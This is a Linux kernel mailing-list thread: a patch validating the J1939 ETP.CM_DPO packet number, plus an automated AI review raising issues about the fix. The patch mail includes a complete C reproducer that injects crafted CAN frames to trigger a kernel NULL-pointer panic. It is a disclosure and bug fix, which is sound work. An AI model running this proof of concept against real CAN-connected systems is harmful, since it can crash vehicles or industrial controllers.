[PATCH net v2 RESEND] can: j1939: validate the EDPO packet number

[PATCH net v2 RESEND] can: j1939: validate the EDPO packet number

[Chaosheng Qu]

ETP.CM_DPO is peer controlled and its packet number is accepted without
any validation.  It names the packet a transmission window starts at, and
j1939_xtp_rx_dat_one() places incoming data at "dat[0] - 1 + pkt.dpo", so
a value past the end of the message moves pkt.dpo beyond the reassembled
buffer.

The transfer still completes normally in that case.  With
pkt.dpo == pkt.total, a closing ETP.DT frame with dat[0] == 0 evaluates to
packet pkt.total - 1, which is the last in-order packet, so pkt.rx reaches
pkt.total and the receiver emits its own EOMA.  The local loopback of that
EOMA runs j1939_session_completed(), which asks
j1939_session_skb_get() for offset "pkt.dpo * 7" -- one full packet past
the end of the queued skb -- gets NULL, and passes it straight to
j1939_sk_recv(), which dereferences oskb->sk.

The trigger is deterministic and needs no hardware, no race and no memory
pressure.  Nothing on the path checks a capability: net/can has no
CAP_NET_RAW check at all, CAN_J1939 does not require one, and the only
capability gate nearby is SO_J1939_SEND_PRIO < 2, which asks for
CAP_NET_ADMIN and is not needed here.  Given a CAN interface -- the vcan
used below only has to be created once, which normally needs privileges --
any user can reach this:

  ETP.CM_RTS (size 1786)  -> total = 256 packets
  ETP.CM_DPO (packet 0)
  ETP.DT seq 1..255       -> packets 0..254, pkt.rx = 255
  ETP.CM_DPO (packet 256) -> pkt.dpo = 256, unvalidated
  ETP.DT seq 0            -> packet 255 == pkt.rx, completes the transfer

resulting in:

  BUG: kernel NULL pointer dereference, address: 0000000000000018
  RIP: 0010:j1939_sk_recv+0xaf/0x150
  Call Trace:
   <IRQ>
   j1939_session_completed+0x69/0x80
   j1939_xtp_rx_eoma+0xc1/0x170
   j1939_tp_recv+0x41b/0x4c0
   j1939_can_recv+0x1ad/0x290
  Kernel panic - not syncing: Fatal exception in interrupt

Reject an EDPO that names a packet at or past pkt.total and abort the
session with J1939_XTP_ABORT_BAD_EDPO_OFFSET, the SAE J1939-21 abort code
for exactly this case.  The check has to be ">=" and not ">": pkt.total is
a packet count, so the last valid packet is pkt.total - 1 and
"dpo == pkt.total" is already out of range -- it is the value used by the
trigger above.

Both roles tolerate the check because a transmitter derives the offset
from pkt.tx_acked, which is "cts_packet - 1" with cts_packet <= pkt.total,
so the largest value it ever announces is pkt.total - 1.

Also guard j1939_session_completed() against a NULL skb as defense in
depth, so that any future regression in the offset arithmetic degrades to
a dropped message instead of a kernel panic.  The only other caller of
j1939_session_skb_get(), j1939_simple_txnext(), already does this.

A self-contained reproducer follows below the fold.  It builds with
"gcc -static -O2 -o j1939_dpo j1939_dpo.c", needs one vcan interface and no
other setup, and prints the frame sequence as it injects it.  It uses a raw
socket for the sender so it does not need a J1939 stack of its own.  On
v7.3.0-rc5 under QEMU:

  - an unpatched kernel panics 3 out of 3 runs, in j1939_sk_recv():
      BUG: kernel NULL pointer dereference, address: 0000000000000018
      RIP: 0010:j1939_sk_recv+0xaf/0x150
  - with only the NULL guard in j1939_session_completed() (i.e. without
    the EDPO range check) it still panics 3 out of 3 runs, so the guard
    alone does not close the hole and the range check is the actual fix
  - with this patch applied it is 0 out of 3 and the session is aborted
    with J1939_XTP_ABORT_BAD_EDPO_OFFSET as intended
  - a full 1786 byte ETP transfer between two J1939 sockets still
    completes with the payload intact.  That transfer announces
    pkt.total - 1 in its last EDPO, so it exercises the boundary value
    one below the rejected one, and it runs the transmitter's own EDPO
    through the vcan loopback as well.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Assisted-by: LLM
Signed-off-by: Chaosheng Qu <quchaosheng000406@163.com>
---
Resend: the first posting of this v2 went out without the list Cc and is
not in the archives, so it is repeated here for the record.

Changes in v2:
 - Add the reproducer that was missing from v1.  It is self contained,
   needs one vcan interface, and was run against three kernels: the
   unpatched one panics 3/3, a kernel with only the NULL guard still
   panics 3/3, and this patch gives 0/3.  The middle result is the
   interesting one: it shows the guard alone does not close the hole, so
   the range check is not redundant with it.
 - Reword the reachability claim.  v1 said "unprivileged user"; the only
   capability on the path is the one behind SO_J1939_SEND_PRIO < 2, and
   the vcan interface itself has to exist first.  What is true is that
   nothing in the receive path the frames take checks a capability.
 - Resent as v2 rather than a ping: the payload of the mail changed.

Reproducer (userspace, vcan only):

    // SPDX-License-Identifier: GPL-2.0
    /*
     * net/can/j1939: ETP.CM_DPO is accepted without validation.
     *
     * ETP splits a transfer into windows; the sender announces each window with
     * an ETP.CM_DPO and j1939_xtp_rx_dat_one() places data at
     * "dat[0] - 1 + session->pkt.dpo".  pkt.dpo is therefore a window base, and a
     * peer that sets it to pkt.total makes the *last* in-order packet land at
     * offset pkt.total * 7 -- one packet past the end of the reassembled buffer.
     *
     * The packet counter still reaches pkt.total, so the transfer completes
     * normally: the receiver schedules its own ETP.CM_EOMA, the local loopback of
     * that EOMA is delivered to j1939_xtp_rx_eoma_one(), and
     * j1939_session_completed() then asks j1939_session_skb_get() for offset
     * "pkt.dpo * 7" == total * 7.  The lookup walks past the queued skb, comes up
     * empty, and the resulting NULL is handed to j1939_sk_recv(), which
     * dereferences it (oskb->sk).
     *
     * Sequence (all frames SA 0x80 -> DA 0x90, ETP.CM on PGN 0xc800):
     *
     *   ETP.CM_RTS (1786 bytes) -> total = 256 packets
     *   ETP.CM_DPO (packet 0)
     *   ETP.DT seq 1..255       -> packets 0..254, pkt.rx = 255
     *   ETP.CM_DPO (packet 256) -> pkt.dpo = 256, unvalidated
     *   ETP.DT seq 0            -> "0 - 1 + 256" == packet 255 == pkt.rx,
     *                              which completes the transfer
     *
     * Build: gcc -static -O2 -o j1939_dpo j1939_dpo.c
     * Run:   ip link set vcan0 up && ./j1939_dpo vcan0
     */
    #include <linux/can.h>
    #include <linux/can/j1939.h>
    #include <linux/can/raw.h>
    #include <net/if.h>
    #include <sys/ioctl.h>
    #include <stdio.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <unistd.h>

    #define ETP_RTS	0x14
    #define ETP_CTS	0x15
    #define ETP_DPO	0x16
    #define ETP_EOMA 0x17

    #define PGN_ETP_CTL 0xc800
    #define SA 0x80
    #define DA 0x90

    #define MSG_SIZE 1786
    #define TOTAL	  ((MSG_SIZE + 6) / 7)	/* 256 */

    static canid_t j1939_id(unsigned char pf, unsigned char ps, unsigned char sa)
    {
    	/* j1939 registers CAN_EFF_FLAG as its filter mask, so every frame on
    	 * the bus has to be an extended (29 bit) frame.
    	 */
    	return CAN_EFF_FLAG | ((canid_t)6 << 26) | ((canid_t)pf << 16) |
    	       ((canid_t)ps << 8) | sa;
    }

    static int spkt = -1;

    static void send_frame(canid_t id, const unsigned char *d, int len)
    {
    	struct can_frame cf = { 0 };

    	cf.can_id = id;
    	cf.len = len;
    	memcpy(cf.data, d, len);
    	if (send(spkt, &cf, sizeof(cf), 0) != sizeof(cf))
    		perror("send");
    }

    static int recv_frame(canid_t *id, unsigned char *d, int timeout_ms)
    {
    	struct can_frame cf;
    	struct timeval tv = { timeout_ms / 1000, (timeout_ms % 1000) * 1000 };
    	fd_set rfds;

    	FD_ZERO(&rfds);
    	FD_SET(spkt, &rfds);
    	if (select(spkt + 1, &rfds, NULL, NULL, &tv) <= 0)
    		return -1;
    	if (recv(spkt, &cf, sizeof(cf), 0) != sizeof(cf))
    		return -1;
    	*id = cf.can_id;
    	memcpy(d, cf.data, 8);
    	return cf.len;
    }

    /* ETP.CM control frame: dat[5..7] always carries the PGN of the session the
     * command belongs to, otherwise j1939_xtp_rx_cmd_bad_pgn() drops it.
     */
    static void ctl(unsigned char cmd, unsigned int size, unsigned int pkt)
    {
    	unsigned char d[8] = { 0 };

    	d[0] = cmd;
    	if (cmd == ETP_DPO) {
    		d[2] = pkt >> 0;	/* 24 bit packet number, dat[2..4] */
    		d[3] = pkt >> 8;
    		d[4] = pkt >> 16;
    	} else {
    		d[1] = size >> 0;	/* 32 bit size, dat[1..4] */
    		d[2] = size >> 8;
    		d[3] = size >> 16;
    		d[4] = size >> 24;
    	}
    	d[5] = PGN_ETP_CTL & 0xff;
    	d[6] = (PGN_ETP_CTL >> 8) & 0xff;
    	d[7] = (PGN_ETP_CTL >> 16) & 0xff;
    	send_frame(j1939_id(0xC8, DA, SA), d, 8);
    }

    static void dt(unsigned char seq)
    {
    	unsigned char d[8] = { 0 };

    	d[0] = seq;
    	send_frame(j1939_id(0xC7, DA, SA), d, 8);
    }

    int main(int argc, char **argv)
    {
    	const char *ifname = argc > 1 ? argv[1] : "vcan0";
    	struct sockaddr_can addr = { 0 };
    	struct ifreq ifr = { 0 };
    	unsigned char d[8];
    	canid_t id;
    	int s, i, len, cts = 0;

    	/* The victim: an ordinary, correctly bound J1939 socket. */
    	s = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
    	if (s < 0) {
    		perror("socket J1939");
    		return 3;
    	}
    	addr.can_family = AF_CAN;
    	addr.can_ifindex = if_nametoindex(ifname);
    	addr.can_addr.j1939.name = J1939_NO_NAME;
    	addr.can_addr.j1939.pgn = J1939_NO_PGN;
    	addr.can_addr.j1939.addr = DA;
    	if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    		perror("bind J1939");
    		return 3;
    	}
    	printf("victim: J1939 socket bound to 0x%02x on %s\n", DA, ifname);

    	/* The attacker: a raw injector with an arbitrary source address. */
    	spkt = socket(PF_CAN, SOCK_RAW, CAN_RAW);
    	if (spkt < 0) {
    		perror("socket RAW");
    		return 3;
    	}
    	strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name) - 1);
    	if (ioctl(spkt, SIOCGIFINDEX, &ifr) < 0) {
    		perror("SIOCGIFINDEX");
    		return 3;
    	}
    	addr.can_family = AF_CAN;
    	addr.can_ifindex = ifr.ifr_ifindex;
    	if (bind(spkt, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    		perror("bind RAW");
    		return 3;
    	}
    	printf("attacker: raw socket on %s  sa=0x%02x da=0x%02x\n",
    	       ifname, SA, DA);

    	/* 1. ETP.CM_RTS -> the receiver answers with ETP.CM_CTS. */
    	ctl(ETP_RTS, MSG_SIZE, 0);
    	printf("-> ETP.CM_RTS size %u (total %u packets)\n", MSG_SIZE, TOTAL);

    	for (i = 0; i < 500 && !cts; i++) {
    		len = recv_frame(&id, d, 20);
    		if (len < 0)
    			continue;
    		if (d[0] == ETP_CTS) {
    			cts = 1;
    			printf("<- ETP.CM_CTS window %u first packet %u\n",
    			       d[1], d[2] | (d[3] << 8) | (d[4] << 16));
    		}
    	}
    	if (!cts) {
    		printf("no CTS, aborting\n");
    		return 4;
    	}

    	/* The vcan loopback delivers the receiver's own CTS back to its own
    	 * receive session and j1939_xtp_rx_cts_one() stores it in
    	 * session->last_cmd.  j1939_xtp_rx_dat_one() only accepts data when
    	 * last_cmd is 0xff (idle), ETP.CM_DPO or a TP.CM_* value, so every
    	 * window has to be re-opened with a DPO *after* the CTS has been
    	 * processed, never before it.
    	 */
    	usleep(200000);

    	/* 2. Window 1: DPO 0, then packets 0..254.  One packet is left over
    	 *    so the transfer is still short of completion.
    	 */
    	ctl(ETP_DPO, 0, 0);
    	printf("-> ETP.CM_DPO 0 (window base)\n");
    	for (i = 0; i < TOTAL - 1; i++)
    		dt((unsigned char)(i + 1));
    	printf("-> ETP.DT seq 1..%u (packets 0..%u)\n", TOTAL - 1, TOTAL - 2);
    	{
    		int n = 0;
    		while (n < 40 && recv_frame(&id, d, 20) >= 0) {
    			printf("<- (drain) cmd %02x\n", d[0]);
    			n++;
    		}
    		printf("<- drained %d frames, bus quiet\n", n);
    	}

    	/* 3. The vulnerable window.  pkt.dpo is peer controlled and nothing
    	 *    validates it against pkt.total, even though
    	 *    j1939_xtp_rx_dpo_one() has pkt.total right there.
    	 */
    	ctl(ETP_DPO, 0, TOTAL);
    	printf("-> ETP.CM_DPO %u  <== pkt.dpo == pkt.total, unvalidated\n",
    	       TOTAL);
    	usleep(50000);

    	/* 4. Closing DT.  "dat[0] - 1 + pkt.dpo" evaluates to 255 == pkt.rx,
    	 *    the skb lookup at 255 * 7 = 1785 is still inside the buffer, so
    	 *    the frame is accepted as the last in-order packet and pkt.rx
    	 *    reaches pkt.total.  The receiver now sends its own EOMA, whose
    	 *    loopback runs j1939_session_completed() with pkt.dpo == 256.
    	 */
    	dt(0);
    	printf("-> ETP.DT seq 0 (packet %u, completes the transfer)\n",
    	       TOTAL - 1);
    	usleep(300000);

    	printf("RESULT: sequence injected\n");
    	fflush(stdout);
    	close(s);
    	return 0;
    }

 net/can/j1939/transport.c | 29 +++++++++++++++++++++++++----
 1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5..065b4f71e 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -1243,9 +1243,18 @@ static void j1939_session_completed(struct j1939_session *session)
 
 	if (!session->transmission) {
 		se_skb = j1939_session_skb_get(session);
-		/* distribute among j1939 receivers */
-		j1939_sk_recv(session->priv, se_skb);
-		consume_skb(se_skb);
+
+		/* The offset "pkt.dpo * 7" is not necessarily covered by a
+		 * queued skb, e.g. when a peer names a packet past the end of
+		 * the message in an EDPO.  j1939_simple_txnext() already
+		 * guards its call the same way; dropping the message is
+		 * better than handing a NULL skb to j1939_sk_recv().
+		 */
+		if (se_skb) {
+			/* distribute among j1939 receivers */
+			j1939_sk_recv(session->priv, se_skb);
+			consume_skb(se_skb);
+		}
 	}
 
 	j1939_session_deactivate_activate_next(session);
@@ -1823,14 +1832,34 @@ static void j1939_xtp_rx_dpo_one(struct j1939_session *session,
 				 struct sk_buff *skb)
 {
 	const u8 *dat = skb->data;
+	unsigned int dpo;
 
 	if (j1939_xtp_rx_cmd_bad_pgn(session, skb))
 		return;
 
 	netdev_dbg(session->priv->ndev, "%s: 0x%p\n", __func__, session);
 
+	dpo = j1939_etp_ctl_to_packet(dat);
+
+	/*
+	 * EDPO is peer controlled.  It names the packet the announced window
+	 * starts at, and j1939_xtp_rx_dat_one() places data at
+	 * "dat[0] - 1 + pkt.dpo", so it has to stay inside the message.  A
+	 * value past the end moves pkt.dpo beyond the reassembled buffer and
+	 * makes the ETP completion path look up offset "pkt.dpo * 7", which is
+	 * no longer covered by any queued skb.
+	 */
+	if (dpo >= session->pkt.total) {
+		netdev_warn(session->priv->ndev,
+			    "%s: 0x%p: EDPO %u out of range (total %u), aborting\n",
+			    __func__, session, dpo, session->pkt.total);
+		j1939_session_timers_cancel(session);
+		j1939_session_cancel(session, J1939_XTP_ABORT_BAD_EDPO_OFFSET);
+		return;
+	}
+
 	/* transmitted without problems */
-	session->pkt.dpo = j1939_etp_ctl_to_packet(skb->data);
+	session->pkt.dpo = dpo;
 	session->last_cmd = dat[0];
 	j1939_tp_set_rxtimeout(session, 750);
 

Re: [PATCH net v2 RESEND] can: j1939: validate the EDPO packet number

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 3 potential
issue(s) to consider.

Critical: 0 · High: 0 · Medium: 2 · Low: 1 (1)

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [Medium] The commit message says the transmitter role is unaffected by
  the new check: "a transmitter derives the offset from pkt.tx_acked,…
- [Medium] The new EDPO abort branch in j1939_xtp_rx_dpo_one() calls
  j1939_session_timers_cancel() and then j1939_session_cancel() without…
- [Low] The commit message reports that a kernel with only the NULL guard
  in j1939_session_completed() "still panics 3 out of 3 runs", and uses…

Pre-existing issues:
- [Low] j1939_xtp_rx_dat_one() computes `packet = (dat[0] - 1 +
  session->pkt.dpo)` and rejects only `packet > session->pkt.total`, so…

--

can: j1939: validate the EDPO packet number

This patch checks the ETP.CM_DPO packet number against pkt.total in
j1939_xtp_rx_dpo_one(). When the number is out of range, it aborts the
session with J1939_XTP_ABORT_BAD_EDPO_OFFSET. It also adds a NULL check for
the skb returned by j1939_session_skb_get() in j1939_session_completed().

> Both roles tolerate the check because a transmitter derives the offset
> from pkt.tx_acked, which is "cts_packet - 1" with cts_packet <= pkt.total,
> so the largest value it ever announces is pkt.total - 1.

[Severity: Medium]

Where is the cts_packet <= pkt.total bound enforced? In
j1939_xtp_rx_cts_one(), the peer's 24-bit packet number is rejected only
when it is 0 or when dat[1] is larger than pkt.block:

net/can/j1939/transport.c:j1939_xtp_rx_cts_one() {
    ...
	if (!pkt)
		goto out_session_cancel;
	else if (dat[1] > session->pkt.block /* 0xff for etp */)
		goto out_session_cancel;

	/* set packet counters only when not CTS(0) */
	session->pkt.tx_acked = pkt - 1;
	j1939_session_skb_drop_old(session);
	session->pkt.last = session->pkt.tx_acked + dat[1];
	if (session->pkt.last > session->pkt.total)
		/* safety measure */
		session->pkt.last = session->pkt.total;
    ...
}

Only pkt.last is clamped. tx_acked is not, and the transmitter copies it
straight into its EDPO:

net/can/j1939/transport.c:j1939_session_tx_dpo() {
    ...
	session->pkt.dpo = session->pkt.tx_acked;
	pkt = session->pkt.dpo;
    ...
}

So a peer that sends an ETP.CM_CTS with a packet number above pkt.total
makes the local transmitter put an EDPO >= pkt.total on the bus. That
EDPO is looped back through j1939_xtp_rx_dpo(priv, skb, true) into
j1939_xtp_rx_dpo_one() on the transmit session.

There the new check aborts the transmit session with
J1939_XTP_ABORT_BAD_EDPO_OFFSET. That is a receiver-side abort code, and it
is sent back to the peer and reported to the sending socket.

No memory-safety problem was found on the transmitter side.

Should j1939_xtp_rx_cts_one() also check the CTS packet number against
pkt.total? That would make the invariant in the commit message hold.

> On v7.3.0-rc5 under QEMU:
>
>   - an unpatched kernel panics 3 out of 3 runs, in j1939_sk_recv():
>       BUG: kernel NULL pointer dereference, address: 0000000000000018
>       RIP: 0010:j1939_sk_recv+0xaf/0x150
>   - with only the NULL guard in j1939_session_completed() (i.e. without
>     the EDPO range check) it still panics 3 out of 3 runs, so the guard
>     alone does not close the hole and the range check is the actual fix

[Severity: Low]

Is there an oops trace for the guard-only kernel? The only crash shown is
j1939_session_completed() passing a NULL se_skb to j1939_sk_recv(), and the
new guard removes exactly that dereference.

Here is the reproducer sequence with only the guard applied:

- The closing DT gives packet 255.
- The lookup at offset 1785 succeeds and pkt.rx reaches 256.
- The EOMA loopback then runs j1939_session_completed().
- Its lookup at offset 1792 returns NULL, and the guard now skips it.

The other users of a pkt.dpo-based lookup already handle NULL:

- j1939_simple_txnext() returns 0.
- j1939_xtp_rx_dat_one() goes to out_session_cancel.
- j1939_session_tx_dat() returns -ENOBUFS.

Where does the remaining panic come from? If there is no trace for it,
could this part of the commit message be corrected or dropped? The range
check itself still looks worth having.

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..065b4f71e9af8 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c

[ ... ]

> @@ -1823,14 +1832,34 @@ static void j1939_xtp_rx_dpo_one(struct j1939_session *session,
>  				 struct sk_buff *skb)
>  {
>  	const u8 *dat = skb->data;
> +	unsigned int dpo;
>  
>  	if (j1939_xtp_rx_cmd_bad_pgn(session, skb))
>  		return;
>  
>  	netdev_dbg(session->priv->ndev, "%s: 0x%p\n", __func__, session);
>  
> +	dpo = j1939_etp_ctl_to_packet(dat);
> +

[ ... ]

> +	if (dpo >= session->pkt.total) {

[Severity: Low]

This is a pre-existing issue and was not introduced by this patch. The new
check treats any index >= pkt.total as out of range, but the related check
in j1939_xtp_rx_dat_one() only rejects packet > pkt.total:

net/can/j1939/transport.c:j1939_xtp_rx_dat_one() {
    ...
	packet = (dat[0] - 1 + session->pkt.dpo);
	if (packet > session->pkt.total ||
	    (session->pkt.rx + 1) > session->pkt.total) {
    ...
}

Even with dpo limited to pkt.total - 1, the peer controls dat[0]. A value
of 2 still gives packet == pkt.total. The next
j1939_session_skb_get_by_offset(session, packet * 7) returns NULL and the
session is cancelled through out_session_cancel, so this does not crash.

Should j1939_xtp_rx_dat_one() use the same >= bound, for consistency?

> +		netdev_warn(session->priv->ndev,
> +			    "%s: 0x%p: EDPO %u out of range (total %u), aborting\n",
> +			    __func__, session, dpo, session->pkt.total);
> +		j1939_session_timers_cancel(session);
> +		j1939_session_cancel(session, J1939_XTP_ABORT_BAD_EDPO_OFFSET);
> +		return;
> +	}

[Severity: Medium]

Can this leave a receive session stuck in J1939_SESSION_WAITING_ABORT? The
new branch cancels both timers without checking the session state.

First out-of-range EDPO:

  j1939_session_timers_cancel()
  j1939_session_cancel()
    state is ACTIVE
    j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS)
    __j1939_session_cancel() -> state = J1939_SESSION_WAITING_ABORT

Second out-of-range EDPO with the same PGN:

  j1939_session_get_by_addr_locked() does not filter by state
  j1939_xtp_rx_cmd_bad_pgn() lets it through
  j1939_session_timers_cancel()
    hrtimer_cancel(&session->rxtimer)  <- abort timeout removed
  j1939_session_cancel()
    state is WAITING_ABORT, so rxtimer is not re-armed

j1939_session_cancel() only re-arms the timer in this case:

	if (session->state >= J1939_SESSION_ACTIVE &&
	    session->state < J1939_SESSION_WAITING_ABORT) {
		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);

The WAITING_ABORT branch in j1939_tp_rxtimer() is the only automatic way to
deactivate the session.

The receiver's own looped-back ABORT is only passed to
j1939_xtp_rx_abort(priv, skb, true), which matches transmitter sessions. So
the session and its reassembly skb stay on priv->active_session_list until
one of these happens:

- the peer sends an ABORT
- the peer sends an RTS with the same PGN
- the netdev goes down

Until then, an RTS for a different PGN on that sa/da pair is rejected with
BUSY.

Before this patch, a DPO that arrived in WAITING_ABORT went through
j1939_tp_set_rxtimeout(session, 750), which re-armed rxtimer.

The out_session_cancel paths in j1939_xtp_rx_dat_one() and
j1939_xtp_rx_cts_one() already have this exposure. This branch adds another
instance of it.

j1939_xtp_rx_rts_session_active() already handles the same problem:

		} else if (session->state == J1939_SESSION_WAITING_ABORT) {
			/* Force deactivation for the receiver.
			 * If we rely on the timer starting in j1939_session_cancel,
			 * a second RTS call here will cancel that timer and fail
			 * to restart it because the state is already WAITING_ABORT.
			 */
			j1939_session_deactivate_activate_next(session);
		}

Should the new EDPO branch do the same, or skip the timer cancel when the
session is already in WAITING_ABORT?

>  
>  	/* transmitted without problems */
> -	session->pkt.dpo = j1939_etp_ctl_to_packet(skb->data);
> +	session->pkt.dpo = dpo;
>  	session->last_cmd = dat[0];
>  	j1939_tp_set_rxtimeout(session, 750);

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20260930055942.216879-1-quchaosheng000406%40163.com